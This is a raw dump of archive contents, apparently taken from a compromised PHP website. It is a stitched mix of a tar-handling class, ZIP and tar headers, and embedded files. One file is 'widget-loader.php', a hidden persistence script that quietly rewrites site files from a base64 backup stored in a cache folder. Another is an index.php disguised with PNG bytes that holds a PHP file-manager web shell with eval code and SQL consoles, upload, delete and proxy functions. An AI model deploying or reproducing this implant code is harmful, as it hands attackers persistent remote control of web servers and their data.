					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK       S]R!( 
   
                  widget-loader.php.tarnu [        PK       S]Z: @  @             E
  index.php.tarnu [        PK       S])cJf  Jf              J index.php.php.tar.gznu [        PK       S]k++R  R               widget-loader.php.php.tar.gznu [        PK       S]&79 9 	             index.phpnu [        PK                                                                                                                                                                                                                                                                                                                                                                      widget-loader.php.tar                                                                               0000644                 00000005000 15243251040 0010560 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      index.php.tar                                                                                       0000644                 00000240000 15243251040 0007141 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243251040 0017352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
